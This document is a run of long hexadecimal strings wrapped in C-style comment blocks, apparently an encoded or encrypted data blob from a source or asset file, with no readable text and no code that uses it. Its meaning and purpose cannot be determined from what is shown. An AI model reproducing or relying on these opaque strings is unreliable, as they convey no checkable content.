0cefe245735e4169f231464aa8db7e039ca92daa4010e8c0107189e318e149bf94c8ef0b325f03d8f3abf051563ba1c43431a9ca946c8ddb94b9a86e7ae7fc7566cf68a2a6fac6d7fccef714052c713e578820b84ba3023a6ab4821890ced88773d782f9e685fbc10b3130cdb93ae7a5034d82320d2dfec9ebff5193d8be41cacdda7e81ab17e4f2260260ea9557eb32150044ff8f14e1a6d897acb577fd10001f8f73e348b1226a2ca232f5c07469aae95422f6e35599ab28d2e764f277a834fcca2a7f428671925e3f1db124fcc8e80677699e86ebbb82fb640f53702141ee2d35e600b572801b02156a601afad7cfeac05504bffd5ebe3b305c289fefc71703614e8e87a060a9df52d37c181230dc8bdbfc7b69c49cfe5701ecb6d31ac3d841445c767e7c56577dc11532e4823d71b9db6b15240d8c36825e0ddb73da5d78bbb615f58e6bafbaa649f648afdee21b6baa3960b5b87e511f9586f45b8f0473395ecb599672375311a01b81183656e9ef8c45668e29c55342f8b95cf4b8b8f0701ca658ada70ee78e63f9d75ead2861137fce7aa51f675c8b5e096751a15b52286803609107a8e0ff4597bfa5bfc9a75aaa9cfd56e2614fe58ef48353dd3ec827ccf38df44a95b82445504abb6d805fcbb2d7394b0f915f9dba28ff89d755a0078afab706893a3f1040f09dbce76334f23581112f8cfcdc7ac81912dbd2e2361bed8acbb08254b4cc5a6d37750f949d53895da7015dac54633dd6f441005101937f6e32bba07b1b38b112e515a138d4bf6b845bd7690766354520c0a9f41db9eb7c27442d8ba583b57f4871bac8761163ba3c8bf1a39b5cacccd80d86a9f2d8746ee857ae86737dce1336c9ad5283099934919173b92320bcaf13e2aebeb0fa9d59aa423fe3ccbc1e6f81eb2aa196f764aff680f966bf90e526b4a36d8320d7ac3f88f4bd04ab27811d45d5bb06ae781f371f60d78f8243726a408e032e2b9755602cbe60c85b8a8a0ad899c5c8b7f4b6bb3cf5ab8388296c3db4c0a15835d44af7b6121c22d3fbffbd32c292efb9a4095687952d9a6ee7e70d888baf26aacd11809ad3295115589927c38b7017795f7aec82e88e9d2209306a9ed2c86641d166eaa94a342db2b1cd74c43af4b22911b7d41fafb321196c267ed02d9de7a322f90e60e1a08d554d29088215d2cfe54dac5250a420dac6032b883a95472a9c31d8e49064274024fd8b149698fd8ba4c9970c64ac5d72c6731e89a83caf98e8fc863c139e3cfc0d975bb04d920da360b0e58bd136c2676b11942f28a3b814d6a75e0741c4efe4607f118527b598ce290b4ee353626797902e0f2c9db4970e95b7249aec432aa7c09c12e9d831454b027c406a88d360c12b061152ea4261776deaf6949d7d181f13b84a79dc4bfb8ff9786*/
/*dd21cdda91f31712e537aefb1cb43f403ac288141acae1e1014701d5799a25f6345d4b40e3abb5e0adbafca7cc06095d24167dd0bf928a097144200f76f05e75570496327578e6b43ab77e672633506b2080f0f0768c076293a3fc352cc3057002e7fd05771a0659976f7f57ac36287d96cc887b2de7a0e5629af02e92671705631ba98de8a606297bc831dd07c5490c185745b26ba17d5218d022ac42bb634472af52cf3bfdf1d62b417e22fb06be3d68d85664a102632c7817079ea319f8106f877c006a594d6a0758ba68ffa3f5efcd3c14ba5df880589ecb729337ce809a9d798e9fb53d57b02ef09d11895a3f23ae3e41afe4b637d2ad3c5c0c2208b53b453059121f0c5a53c63b84a36a20f36a5a7122023b7d2549ee872b2953b7b4dbe58215b6b474d24b60218b7e1befa9e7b4837dd914693065850b04075abd3c378137b664493d2c42e26c02277014f430ac922874931ea14921291cb7d640981dd6f2c87f08a3c3d2306376b28c9503dee054cee628fa1c955977e74a468e632d1564d782fc46502424c1d988d2d996db598930bc9c866120c38eced2ec61dee78ed070ff9e3e947e4dac853d92f1406fa0ace38dbe5de6b715e00d3b3ed9fb042b7cb1c47032b632239a3861ff048f3715a9642867d16d76e2f975bbb9929c2889f9e0c6bf1a10e468a4ea9b2b89f8f25be3c3b9b19147d4c3b668b2ac82fcf69c03eb3f98e2b38de4eac5b70d69e501037d8d8c80c972036f60a54032de9cafe12536a5615a99009a70d2d84d6f63cb8b28f1f28f837006c88d675b9e4e0c5d0845aaa05faa205edf402d3fbc6795b3390b2228f018371c547c172764f2eb7d13dc35f8ba66098bfe6f7e736e23008af042047fedf05ea41523480b789b543d79c478462f193b7a336b78730317cc916c9aff6c9522ae0e084bd4130fbcbaf779b80f98e29b2478869fcf4a9098161a65411013cdf699eb20800d1f04e869ce0aec5bbd899373efae2c9e36f1fbba4d6f0e1c18a3c002465c3d3ac6f2084391c5b1ec2b25315521f13ea1800db140fac1ea56ceadb40993d6603984b25aabfc366f57ccb0169e7a20ac7b2b6e767ebc081573579a11dbfae866b139affd3f6c5fe084eb3ac44818c9520a476a424f345889c3704bd6cbaa73421c626b78fac75c5c34a9f7ae678ce8f53e4e24246b40c06ca22d1c68b8ec148995e2e21a07ca1b526666ee2b1ed1b48608eca8a226c718c100b2422c3b09de5f052008b32c84857c7244ddbd6d02f3971c651d6bddd688b580cb68ffc61644c5ddc2c1fc2181396a2015c89f24ed7a29955cdb4367c6f5d9b06649fa3e1ed0aa0f64b4aa2019eec304e5954bdd572ad9c03809ba89db8b03155005ac909d47a7151ac38490c7fd70641b20c181d95dc92caa9af4a4d22cf779803007572941cc34000554ae683db1c2155bd0617c0f0aa9d944125a90af0ed6e6f5262f9311b3ec7bd260726d807e64938a498e47cea8a2b3dd6139289452b0d763acd7c2bf5edb4572f54bb2d1d3ba8fba4c4c4a6dca1ac2acd0fc048de02f2e7c00fde4aa43b1b47d60761119293625b075b120c84192bb9013d04872acbe74e686411243f98debc989ce6a718fdfb04b5f75950f1acd4aeb779c31ea41161dee9962c3e8ae7eb068e53ecedfe68a5606e5b7c0277b60caf1d4bf9d8d0aef5a40c33b7d4adc8d2bd86a0801ac206ccef529fc0e3d7525e12d2170c31417f3ba75e007e9d6837846e3793d306a6f65af1b9bb9aabcf08f55fd499384875bb3d13f5a9cd53718bae2927e41d104df2121f3aae3376cda43e26a3000662ab6f45b40093be165e7d7496129b0ad701d1f1ac97091cebbd7866e157df49fe11733e61083d05ca521b4685e5645861dee6f4e1d33a68c26f12c35ee1f0e895c7922a409a5ba06298a573a231fc1bd5b0f8d41e460dec3d33f501371ff2cc41148ac83a5feebf1020f34aa7c943df0f3d2de3431b906b43aa0b18fc1ab5c5c86a6d32cb921f73d37c68e23a3a7b519a8094b4fbbf03c5bb8cc914b2a21ff938f5382f01d8bd8ed3340dd69f886865c686a4aa7c594a4254f171dadb6ffd145068b7264704f0ae0b114254fb5967121c3635750f2f17afb89266530a86b89cc31721236c075acbdf30bd4b73f94bdde90bf45b0e80ac907187bd827ef7e4ebdfeef301b46b1ba2113a6ae0449cc63b47fef2c8599cfef8b672d455d9bc7b6ecf3e0a2974dcdded0a33102584a92307f960d4e62d5cc76d2daa50b88526a822750e2d1dcafeb7adfd56e9b24838db073d59ac9894320117ed3f79c8f7875c078bd2d017bb6d8fd88b11aaae14fe2a7c4a95f5531190f468ed470cd892ae6491c528be8b8f98619ffce11cb718f7f54686943fba684120378a8ee2cf032a7eb0f619e813c3e67e45021963263374e2bc96b19f5f69d0d1038e0582aef9891b55389f600688b113942e59a57a51bc542e6053f2029f86559cdc728f488593738a4ddffe6de71c9394c9a36f45c6aaccbe2c6510e8730122344caa9663b28081ec16062dc064bfd6b3212fb50bb6dd8ef2ec2349ea4d6550e6ce35ae15e7cc509e712368ca8a830fa9c1b2296802954aa9b8c22d51664a0ab37c0450fb50ea17934682c47dba8981ac17f161b67105463fd94cbaab30a36c88eb9789ca1f9e0751b760f4ebaf633f77fe62f5f9158c2ddb4592bcd905879c65c2a61d7f966644c89a7e90b5441feb01004179233b29d42147fc075cd8e26b2da94321742971a990bdd2009dc12e1a140ee67d779f4ef77c90f65135384c66a9ec0a56791776b577f*/
/*8128eb01cbe0cb3bdb973e4fe1fe0218dad9496a21811bee0bce83f19e5aa118425b224f1c44946dccfb6660750177d6e53736d96dee8d4db1c9869c492540d681b7250de7c167971e4a3fceb667963526324068a3c322b11b7a14661818002bb3c0d3d9eefb54025157261f3ab6c7f2bc4d26a12af53a8e9e78247f42b7c22423f7c6c528c05d182685f1c3dae6ebe5365f600c2531acf11de42cc10baaeeebd52bef346ce535084399685a8038bc1104a788e5e7a9065a9950e8ec4f20de62616aa7c8f526fa79dcb61bff30878fbc20d10a46d858f3813e027487906a0597a3129f11f4f5acaa87aef3533bc22bd214bc91ff94f6ee7b31e51a414d3ddb1757692f6629017c367a0c0dfbdb4741708732a29bd9990cee46a2f43ac40c4a736e1f90271b41472ea88a0a129b93578191d2732f7ca81bd66c248f6a610456fe88eb18222cc11994fca34a48e482cd442355f1e330af52b09cdde3afaeddcaaef07d755039b2c2d646573d69daad4925a2d228b291bb5b7c41b8cd3d5512e30d5baad1fdd4313ed95676b118c706a486c42533538d93088c30a2c82352998253297e9379631313195814f2f464dd9a392dbf81ab67f76447230d38f7b7a6743f077c0941fd086eea0b57ae7e7503ea6acfe9a5644d4d7792a8d0a1317dca1ca9bd444fd4760ba44e19b3a5801e7d94315bdb5360c24edbfac9721a363d004dc966ec49ffe7474a64c3bbd92cd67f89f80f944d09cb366e55c91595553d91359966a9a1afd6761055923cc47299e24ffd93e9e37b61e468e3d032bbede65c0a4fb5216adfb819c01ecb69c0630903167c1910a454fc4544f20752d844efe9f76fb694c4d5b634b5da1ace0e7cdfe44eea6bb3d631d572fc412b8a9f168e861a257b88750778566768226382d2ae0aa2d6516a76cc8e5cf0867f1581667952aede6b71fc5f55bf14aa5d0ffa9a26deb01471a85645a805997d3df1095c1e9617e205e1604c3618eb48fc726f4e3818236250fb39941830fecc631ff4af0b803f727b0537e18b65e392109f5214c2d254b54e7b104f386bdc185b23be8817cca5cfd0df591586f8a6cc189dcd3c3452a21378e186d45259d7726f3026a00476eebfa1263a066a8bb16f034bad0a58d5c8e1ef292a3406c46356d6af9516f75a5995cab003503ab144ce5a663e29c4b945dabdc5a12731cf7f852a4088e0d6f714af483facbe0549dd59d987d1d38bca45f1537804036f7cd5c16238c5ab5e127ddc2d7938669cdde5b48c7e3e310a1f2bfbde2df5c88d98c9405927c73c237acaad55b9f5619c00ca3e18e6b9a4ce75b6e6424ed42a0315b771ce2cdd0c2cce3635edff9f7adb96d585603be9f0e1827c83d2284b1a500f180dc3d8755c1faa70a8292159bbb790eb5b15fd2f328b6b9606295c1570bdb94f3e96852c73d8ebd709141c9df5fdbe772a357575c1ef541d60707e53e1cf4055c80bf82a13a90f37533343f9f35bbd1ad7cecaf0d538431e377d167861e9361a08d3a4f1dd5902c86073ab98ed651fd054e793a0fc6b85effdaa14aed4c7e257a4224349ba46e4fd315a9ec9964a9a3bda77fa427389004db6e4313a8af760e1b5d47dc494dcb20ce4f7c84c628582eacd61cf097729df2933c5169afe0cd80bf91a1896d3023af8054c80a3b6646d5b3644911cc165f2ba41db0b33844e585fa6ab1db9f3ce661c5fca9d487423f767655ca5e9a519bd9e8cf02e175346cf333b176b7c8c568580827460079b8290c9683e319a1cb79111aad37b31113d7b688a338490e6b2fd6eb991310a74afb72d15a51ecd6c178b4feec99072d626a074074157276382cf035b4a01ee01117e9511f5a4a00c9120eea916b3e071779f270045e19805974db0f729b1bcf096faaf866db8a0ed79f532ba9991dd90e65ef9836c379066e967a012a1353a77a05ecc47fe6335cb787b5ac2413ed670086a4d869e41ce742c9b0c3b5b0b388e2aab79af845094443dce979a4ba613ee284ac69506ee223a7a488d4fcb7cc1cb00bbfbe1feb7c9903795ad8302d3ea58062f385f976c4c00821986b8fc19e4844789b06bdbbc47ab13099e04bd7e5764a92ae12c82cf937a5fed1483a19ed75aaf5e4fb59767fe95b573da36d14794efc665bb2ab81ae304c506add0af53a277bcf7447d707a1c14dbcc9a955f1d18621c0a737ede5fd6a4d131dbe7976b110448118e39bb40c607298fa87948997995177c0d37d046dde2c76a102ce707637bae95fcca04b2c911a86db53a018e05b92547c799dda71a525dfcf707dc2e4244199eb7332b73078f3a777dc1511182ca917d9116094fa71dfd3b7b52a751b178ef6dd763d25426028ab7cf5caba9546c79baa78104cf4937107e68f39dbb9a381dff7c396b7d9f8209224084744bac3ba36a582d4e7fc45352e57ac8647fb082651f7de5c54d28dc1686238dbcf151b6e451e0350f3188352b53e7458d9ca6f383272eccdd6edf7559665fe401482136ab8b6b557118634ee529b264090f495347bf598277c302b7f0fde0a7459358494964921a45bb34d87a0ec8bd05f84887c26577225ea373ce201c6cb0ca1e797cb8be7d4ab834fbd546b0dbfb949e16e06d5e14685178266b379b3abc04abed511f4d7d0d68fc9137f02749f3a8df57a2424666b2695371c509c9d23827d749372266946ce7ee7a194e90184a28bdfa3770a7429a5def5d17539aeb5752755cd636bc86e00c13ee25831e8636723884650ca9ce87cb9635e7ccbc62c354b98b608d9f42b39e92eed6689df7665cd17d370683b9ed4576f85fefbae718*/
/*8735559f21a2db304e2fe2318a75ab979bda1a63e47930d395ab03f1d0a6a7bbd952adb539771e4504e0c1ab225b11fee26fae7a4166e127b9dd7ff1105f80bfeee3744d896049732a7a9fd3f67fa8b5ab1abaeeb23fcaad064ba5123e0efc4276913dba00d97d7c5e1954d11cfd004629e00a649c1722164ee32983dcd726b6c78eb5eb9d8d95c8d6a43270e31068a1e3852791e8af99f9c2307b8651d2495488f8243e78220d30df4d1dfe65eb9bbf8280e765c19f0e8c7d908065a8231ab1aa9eb0225aa0fa492d2e8b2cfe5226ae622d02dc9cf4bcb1069c3c332692f96c338b3fca3d150fe48f258d98ee96b6ce6026169bee438653bf7ec5e1de2a6bcb1f958427899e7de997a4cde5c4cbf02dd421b5c065446b5a8fbde0fa83e6361822b6c95041e81222a9ffa5707df7c0021c14df0dc8ceedc044222a3e6effc58be7efa9eb740f5c82e9c5e7dbbf9e5fdc07607e050316b606e31ccfd9df6b40ba18d332e760e50cd410c890328dab8f7daf0c15eafade4003f34538e6df5818b0f1747e72e4f18549b05e5d0c5e1c5cc2aa39a7414f5d0b87862bd68c2369ed853c065bc7eabb3e3d2c4552b3a1938935765c8dd2cef6ca1e09319a257aa18832cd4af970b0994e95cd52104df0296fc1224aba7294f299dd0bc6465373d82d0c155216cb5939e3de3c16679aba03b1e10e0947f19745001c1d807f5d3b514c58cfe9426766b6467d93a07ea48469c5198b0c82ad074468e3ea27b852f558a1c933f00299bfda6909c261cfb4c6f113f7c9db2a931cdba77a73b5f18d35da66c376ba5d655a33625019c4c03cfafc2bc5eafeabaed1ff75e6c335694889bf0b09b74f749311fda63869d9e9cc0e0c851da8c21d72d24fe4f121dcaf7ded526037d8189768dfb9f412bcf451a3fc6d3b25cfcbccf8bb43964574110ec936d8a53988644fc186e2b4aa744e29d82393bb12e246e1e4302eeb127512f303ffeacbbfe79e7c2940dbeb7902d086389940d046cb54a854a4f21c774a5677bb9adb4a4fd9516d0532c1d59a4909ee2c11dce185f4f2fc44efb8b796f57f73757ace689c75cc68b13220ab02280aec23b005ac698d3c09ccce34056f8b3625e02e7482baffd6c98c3d810b4ff027f075e2dff8b57dcf49161850bf3573023808c14510fc400e53a8046acbc89f3a1636a87ca681372d38c91590ebfb524f287a6465f9e5d2ad95c530954bf484dfc046eb2c9a69a164f98d1c0ae51a5ee25d5c7ea81438322236d9d5f92081ca3a892b777c3c2c629a8d757d35746e9829d37dafd23ef7471cc364de277dfc766228187036b95a19e197f0d20ac1ddd07fdaca525b6b4716e641e3618d01717c1436285f513df71c81332c50d892c00b1ee2352367c39885ae51dc9699c8abc624a9d2c6c014376ba3c5ba550529b587978b6bc4630f3cdd44d262721765f914df5af432f494a8387cd745cca88a34432ed9628fabbcc67d9d68246f131bbe1ce87bd348b1bf648494048ce0c7483d85eb5daedc4fa7eba077b82f963bdb2d3ee715c2cbd5c2768c47c066ea1f6bc2cdc387a922dade2f73d4edcf1dd863ebed168dc361664e523dcd34bf749752665fa0a79f4034263191c9f4fb62ac9c785be9a9e70c2b2a0b5c77dc22c4f20de43a4b0662696f6b2cf4a12dd5bc80a97f19a001b93a74d34720ba6485922b45d9d40015ae01d3c04cc6de69a26b4807bf5e5d7892a0fb32cbc798c76b7a01d20a638ec05d6ba52e8ebe7c1e2015963c6d708c38d903a946203f781ff9f642f41f172ada8d9f14a2c786280edab0dbc5427d08177be42b8891cf6bb8dc03c5d3d284ea3cd0ec4fbbd8685decb2e24d8f43231cb8a0c1fa03a80280f66af8174b38fa972f5a7697fbb76a496cefae426eaaa3a140cfe6f976027cdbff2d5e640a9e634fe0f7dc9b166f192d2dd3c9125c10ae5256a823c2b6cec0fd5cb702415cf64406e19338f1af250520bc0f30651bbc1bc3ce6fcd16f955187eac4700cd69c761b82ec319068687c50a9f2a19ea4982c69118b593be1a9b06d6baf36cbb57d5a9282c6cbed1fbde97396794af2f257e1798759cf1d0860fb5bf830da6f0c20dc5514a284cd0b94561fb07fe799da2e90a86516240b88a703a1c71dbe0e960cc981afbdf00e0e673cee47bf62e30f3163e43500ebd06859492a3a936bc2e08175e0dcbae309cf179ba85eeb62d91489054f037d9a11522c27a20373c8e1cfc111668457a79160d079bd812c801688615e890806ac4b3dd94c25a80f3891ab75a7ecdb61b825966732664955790bcac3ff48a19cedbc10968d2dc876b946540485b0f545b23de7ff852b2f41eed6081f725a557b148dcbe6e85291f7fe515a5fc5c5c7b9caba7be8a7a332086b55180b998e06c2e145530c17eb8f246684f138ee2ba1aaae474053a328797623312dbec387cc9b367e83835193305512afedccf36de564430d2c21d992c60fa993104b66d0f585c9a167bacf590af32c7bcaa0b96eaf7e4b9c4e45f8b76c1cf8777d98638adeff38e30edaf97bbcf47b7304dc209e45bcf4771e34e67efe11614bad501373f7993a8794b72f7dcd33f5f58d46af269ffebd578ad11b15965fe8524bf24cc1d01e1ef287db658d2525e2a4b96d63728a996ee58642abefd9b0a49762be03d060176215a374377e11a2064f22c23d3c467edf6b6665ea607359498b7b2d69927b2f7bf77552856cd918b0c2494efc74b0966e2a91620c2d0e5dc77006a3b2581793673f834916c0c2fe4526588d8d1c098bbf416fab9b26d489cfee4cf34b0582415bf613a56*/
/*b073eab264e4212b26c9e48d6e10ce3fa5e6bf80e26515ecdc6ea4ce2081f24e7944b7713e629209fe451b3e7a3891bb8c255e762e44e4b7f16026ff40149a30f10912797d715f68766b12edc853632fec4119a7b1c63498f28a892ec7f6855287d9c0356733bad03261352e08051ad87fffc282b0b0c1e3bcf211570c6b9e20fd33198b5ea1e0d1cc8adeaff3ff0389e3e87005f8a7cf05f993d564d1e766a5fe739ac9674f58ec996d8ba08e580b0d265c7a3675529123d14e0d6084b5250eae3cc88ec9dde2d46f553191cbde565c620c835caa37b5cc583e02582bf3505ec09e7192fe44e53f02355f7f07b97105931001e845ad53912c7c9498546202717efc1a2da5dd7aa8881bbd9fc133a9fad6f7f1dae84a48fa61b7c3ca3333f63d8ca17a7e692c3a2348e265bad8a9b6c00ac8abf2c42c945e65f4cf736896eb3eb24ab26320321349431bf5862e8b8ef140ece79b456a61fefce764cd1efa74346b1ae19e805017f8ea20fcaeeb9d0418703add0be042b3e9a4621f1f6bdb74b7e69f2425fba8a22962d17903e86dde8e788a962fdbadab4495026167921abc8e076d1ef88ce2fe7ca8584ad53aa8a56cb3bbb54f0413c66c4c8a4becefd72a751a5e6692400c87321c31acbf3549dd667c98e3a3e6a5a9993020d4aa8f1baff690fa575e2b88dfc301c6d3f3a0df1a4b88b5a52e69af7e7e36ea251384546efbf7609608ce50408b5fcc6ca975e91515999e9bbc07e58a84cc8610679a59aefd9b8a4df9071aafc34ee7003ae762418a15daad1e5dc709ad9df7546b4204b3421e66b1ceca28f5bddf3c35014557267b0eaf92fb8439cc8dad59d625e2137461d0ad62079bcc504e914cd3a5fc854c30d6258ecb4289943e76ae5fe9bad85f11146540508ff1f8e054e8287af80c814fd876942afd788e75e89067871dd69c03768365bcd2d9ef26815bbeb8373cab82cc99b254983b6a125bef29dcc9ae0d15ef7e11afc746f745fa5e06552026adf6e8020d01995dc24a1fb5de76eebebd50da732a852c9b55a23255988c640bf7ecfb22b100ff18a7666de1accb926303c5ad4be5bd2d2c512a9098533c2619b48079ff48da9a896a20bcf3e09ee90ce02ae9faf174b2a981cbe97bc51f8202c5fd3d1e26fbe209bf9af7ef587e83f1642d5f5c09dc15fddc17f8cec0d47eee7e23211dc1b9fba1e32474fcaa753307dd3dda330064be1f02f401e47b0c4dcae8a2c8c853f4a9d6df21a37d343183ce04e1441eb93cc4e194db5a71e4e2ac84261c430e5ac328f89400bfc11db333c1396bd056c0bd33cf99dcf2228b81f1c7856d3e7b5e9310ea2173a9c2344c484c876b886241c32deaff42e6347e5947747c0da72b5af2b4b6d2aeba11339bd46ff6945cbbd03f9afc729f9542e439e5eedb16ee8def91de673ca626865a20d51e9f7ac7e4f9198ae23dc1fab5d24ddbd6528388db2316c1d8680338c31ac644fcce110beea72446fe30f14c62faa1702172fe9d018f46025e554a32bc6605c6fb35dfddd97a27ce879349a5ffc43a80607ba0f3f84609ab39b424c2767ea7e6c6b058614d2fa2155d39f79d853a248eb3119c691c0ec762baa4d4378637e98f261dee67b02cdc862d1ee99b0574ce55f85a32debd81bd912f16cfca64bfd3f2f9250d759124f764ac0d92d0bb2cb63f87e997bfd106b3a7240465b77225aa2dffbadcfd79d0ee67f3286f61505cc9b95ac76929f5b6345c08e593e87e504566c4539054b8e54e7ec49acf9b635a5dc638f77c1794baa21b7ea839c0415564d11782e276a6d3e69183c1555a7fe10c6fea2917de6f179b28822190c1674ada9d617551818827d7c979d8eae9bfdfa430151f807c9ee06ff85123cef0defffa617f29417b2623eaaf6555b32b191122cf66ba17b68021328b9849521f816210c195da5aac4e09b224d3b85e7c654aa87238726921746445e7fb474522448faab9f6bdd5f26d70ab41a324877d6d7879dd4b6d432f0544c0d49933fdd7d44cbb502749522be90318c1c059d1439583f96dd9f2eb66a75bb878018b0c6d822c4985e84dc2453ef22160b4eec38c3eeda8b8c75292f8169c57343e96e93e84b60a1a991c787b33778766c8dbaf8f6cd396d5bfe379ebaa0aa1aeec56586030615c0d3ecb29534afd285658111a38014e5109b3bd81b8b0b4a2302777d1f67e213e5d2390f5a70e2c0bcaaf4d56e02d806914ead8beda6c6913d5e78e1a2d66255bd25e580ca6e356d7104fde1d10cc97dd47dc8ba5d2142c2509e96d138f739a5af1fc9310d20374aa61ea64622db73bd562a3c73a4d5fc68271fe876b16aef3fe420964f51a456e7d3951484be0ab9d22d5de7d06bc4eca60a37f282423cba19067756d45e1a553a7ab7bd8d9110012ea0de2739de123271cc19bbdba204bfc88690be92505168177aa8a92f2a350bc9c8eeebb7a73343ab7894f324763c2c18322de7d113cc6f43ba61b8d74c482f8ddafeb14969d7fda7653db6e6fad20351de404855a4c667b510961323aa8231460db6a546842e42955e83b169c9448baa4d34be28ae268506fe07b57f5582347d44d20f7a190971a56fdf8f13a353b514be53a99c0896bf4d9dbc1bf1ab3aa1bb15f626a9ed36c5e8cbb1d372d9513f8795ebdbe9811fb09aaa2de1356b13c2f342657adb562bc3d6d87181a1647b74126ce0a4004bf0724c8ec566c5e360af594be0ab11b58c229618fc1c3ea8ccfb948ab421226617e5c6b138455abec78b50b87ad519a1589af6ef0eeb1a09f6bb77949779c5b4242eaa614dcdbf2acea57b5772f3ef5*/
/*0dbf1bb45d64d2458f531b3d98381bd039e07bf51cda5afeb738addb60a62fa03fccd9c296a90d2133abbf7b62d62c58a22d00cfadeeb106b7c7c420d8bdd1a1e3583a8c7208830718bbdae1d016b3f66192276a20d9b84f4c04fa1771bd5ebbda3f516dbb7fe26ac76cd0d46ab6f04e3b6571a2d481d8463c860044ef3ab291733bd164a6b33917f7ee7ade2c462f8ab7ba00d3fef2ae0986c718dd212953312c8cea37f02382a4d4264d3ef5edc689b021b21b7ee51bcfa36fe758ca9234a9d91bc3674a767475998d5ff3320fbc8667fa1323cd3b173b0eb88da9b0f7a5454985ee3aeff264e52d34726bc4a20819c4aee66317a1c47cb7d0cf9397eed4c496cb7d0f54dfed956696ef548b41a8d4ed1307223b878380ffe2977f8a49e2f6eaddfd55b02a202b559f3bd95ba939ef58273f2736fe9304f9939b79e226acf1163c4b514b30e3a8d166f8acebc9b948a7014e32288b5217be27d8afdc46382dcd5c1a070c284ce51c1513b758760bbc66a18525f1188ce37670321c93d0a1dae048a6d262908a535a792f22c14eab87f215f08805686d6dfe25ac122efda260177dd7e53e8ba19999d11760211f94b7cd6ae61c5e727a42bfa16e15b3b0177eb864b63e538f6708920c7312d11f967707e552ef117c9f970567a1caf37296c932cc98337619efd694d30d5018516cb355ebc5bc1c7ab4164abc8f9635939cf68a353fff50908cd30e375ca3dc63ea6045a9a797bca53ba81dc1fe3189fa5e56645bce7fbca4bd4656f945a1b2b4303f03598c8f7f2c2f78f6c2152676234af533078741ef85a81646177dff54bf8cb0b45301e5534b40782548e4196e48bd2b1eec931dff0a20e96dcd8b36b235d96ef2162d64ec7c009013c32f7faa393afe3e337f6ba72d74891d8a6a3e31dd2ce8cbb36a4a9e2c92585c7daf83d6168ab23d3cb14b69345f2eb966fc2ecc47e2216c178301751d3df47b052e1f29b90839c0d2995690829c91ff6a9f45b6730081d57ced10f05cc4fea04a71b670840458a9fe43d0969532c25d8364c769a1aa7e26ab07b005235c72f85afc03dc9d49b04bff357612b2d133fa8dcd65a01a6c1474a60469d9bd7871588515f8b5c0fe60892fa3c76a9d4feb4a4d6a089e7866bd05e67324e874455c8a23a075bdf654bd668e885756ee5bc938c54e7e0b1f7568fe7d1c212131f2844a2d21406c33f021ab55552758002f46efccff2bff474815d4629176e3948f78bbb60721a6bb800bb7a6d42ee6f55a1dab6e496d5e6f088da84220b48d260bc7ef7e4f38b46f39f7de2dfc02c8bcbf3f3c4b310ef5bfc08781e10e6b08226dfccdc853c05a73c4325da3ee54172519a3707c60b789423b3d9acb66fb41327944192059cfe93380008b6de1f71c79b03bc0bcc7c56cd5b138385c70cb838df900ecb8f413a938ee99522df4a87c4c98baa2b69e71d0118ae8cac5524cae4870ac5a3475922a24c7e9b10472330ceabd0417336d382270bd4a4ba62afa2456fb813692c8b126bbb962f719197eb604d56a8f4af8095f7d60955cbf32639d5d51a9b4363346b761033d56bf1c7979c6da0597504760bbd1b78863c1c96b665061baa17f0c6b11482d8e108aea730a7358d2b5b2523000084be29d5449e12a8b15be65e35f5f900d658f9c7e3e1f6fd631e86fa4b35400d1475348ef6f21b22430c2fe1394293e2e1e0f61e22da57c40abdd5dab142873818a5a0774f6fe5ee4ac26b63c185887acdd352e0af4ae4a3fa89b68c67c98013f9420b639d8415b4e6be585bbe6b8a366a70679bacedcf32fe33769fcd0262cb06fb8e1626b04235545d210ba165909662e4dec2d40221108e452028c7fc714208a38638f1114db5965dcc8cdc0e8233689791b9d82e7e5b0ff3a9364eeab60ac9739f535577ac30f357ee08e3b937d60dafbb6750b753b12276920cab4b810d0be43679902df5a7537ea9ed6c878490f70209e71b1f14d5550085d1174da50f1b13192ac55f74781eab79d6ad59203b48c24d2e7fb3892efde4f3320200c533baeeb8ece867d46c8ba09f195867ef17a5ed475d7dbe3a7a8ed4a807ddafc855499ed58ce0fbfa0d8f4d4fac02536bfced70b1fbe6e4a19856c4c2912c7cc6fc3fe91df62c3cd75fb28a11092a5919327938819691c5b7b51ddac311671c7d09d7b8cb5bc7cdb2f4740afbed539fdfa5eec3b906f17103099c25425f6b0bff90e05d21b2adfe06237f176a4360ef4aef64dab667f9ce8132ee96f8040e5ce85281bd76977a2f8ae129746a63dbe556cd60b69e93eb8e82d6b358fa3ca29e46efee4a1f4564bf542ad760af2fd44e8a8c5423a121e5866483901570672beb22cfeafbb924bd1434f7c750fcde8dde96d01af9a4f86d9d681032065332ad7984974fb84902131db601a09f87ef788fe7cc39db98deb562ee7c6cb609aa21be91baf2cd3cf7cf4dce1cd1ce1222bc5743280704adf0bffe9c8140e5d7fbaf601e4f6e824c90d853a85d1770c60c127d850d26250cc12d926ad9ddb53efcc6f10dfa99525078887613e9bc0a10b37057116b0b4706cf2cffef5c544ed616d8e9182cdf4e88594d5da0cbf7dcc090c67bbb603bbf68e8248b778193304b98eb68cdc108044bcbe0c2c190c774d6273a74fea4eb7aa622358ade74f1c21f36d246ea0d587b072f741856317abec9ad4b8dac55d1146536496ae61bad91768d23ff1c676f5bcd35482e40145c0ee3d67ce147481e33298f0b8835471bd6f09de0c80f5cfe91b221e20460e5a2e5352e32100ee7eb104a91629c0e2babfcc88b13c1c5dc39a77*/
/*e77cbbd35e79c338e9c84a4e32628a5b18990ebc153ceb5f8bfa0a335054020176adcea9bb5cfdaa82a0e9e016f8a4f13d8b0ef96e37bf1eb82d39d0057f2a545c9c8a817a8d2e1f3b8323ffdcf6312c9bca22b05321655722f651bc0e9678541252a45390016d4b9f9a5f496733a44bff4b1072aa59e69c43bed20108db204e68fc5cd47029772fb3cbc1150fc4dd7c12b0cb411622d7f406e1ec4effe5325c4e85c9c98ddd147433eabbf7714eaf0e3a6b988d7c8a8f697f53801ee4bff5c9a5b6343c32b2a62c31998cdbcc879344fb95f38acf39568fc27d93cc30c47b14af75a7de37b6f7947b5747ac171e320309dfa0d9ee5239a9fe69b5b62dd0dac3879c31285f88dba9c80729ac028b4c5aa748f3021d1a4eb2cfbf7364bf7f37d358aeed9a3b814efc02317936a109e152cfa45cc2d03beffac8a86a7c4dcf234e0417953c8fbf6de6a1a24c35d1b9bc522fb477a293bba84659a7dbfef7c78bf2a77b84eff238c88689a0527016b03875030c776ca7be06fde81e1648093e9078c05ca4657e7d0f47a9590e512f556521ab8acac6087227aef1fcac20572d649bfd20dc9eb493b4660c36ca9bce6496dc43e75ba0f289300c74f83712565be1eba69fdf087c6b9c5492740d86da5a3aa842cd134363b4b33f3362de3c1543512913a8357bdd459d1a80971f43e86e7122c7483e07536d5999a083b832854fb727eee8bbedb468a08787640eaaf10f71dbc3f9c5bc1fef7caccb6ab431408787284e7a3eb8dc9